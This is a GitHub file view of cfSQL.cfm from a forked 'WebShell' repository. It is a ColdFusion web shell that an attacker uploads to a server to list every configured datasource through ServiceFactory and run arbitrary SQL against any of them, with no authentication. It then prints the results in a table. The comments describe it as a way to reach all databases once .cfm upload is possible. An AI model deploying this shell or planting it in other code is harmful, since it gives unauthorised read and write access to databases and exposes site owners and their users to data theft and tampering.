forked from kunpen/WebShell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcfSQL.cfm
More file actions
executable file
·64 lines (56 loc) · 1.79 KB
/
Copy pathcfSQL.cfm
File metadata and controls
executable file
·64 lines (56 loc) · 1.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!-- foldFusion page by lawKnee -->
<!-- useful when you can upload cfm and would like to talk to all db's avail -->
<!-- but dont want to (or can't) connect from the OS -->
<!-- this page uses ServiceFactory to auto-enum all datasources on the instance -->
<!-- only works on CF8 and below, but unpatched CF9 should work too -->
<html>
<body>
<p><b>Notes:</b></p>
<ul>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
</ul>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
getDatasourceService().getDatasources();
for(i in dataSourceObb) {
writeoutput('<option value="' & i & '">' & i & '</option>');
}
</cfscript>
</select>
<br>
SQL<br>
<textarea name="sql" rows="5" cols="100"></textarea>
<br>
<input type=submit value="Exec">
</form>
<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
#Form.sql#
</cfquery>
</cfif>
<table border=1>
<cfif isdefined("form.sql")>
<cfloop from="0" to="#runsql.RecordCount#" index="row">
<cfif row eq 0>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<th><cfoutput>#column#</cfoutput></th>
</cfloop>
</tr>
<cfelse>
<tr>
<cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
<td><cfoutput>#runsql[column][row]#</cfoutput></td>
</cfloop>
</tr>
</cfif>
</cfloop>
</cfif>
</table>
</body>
</html>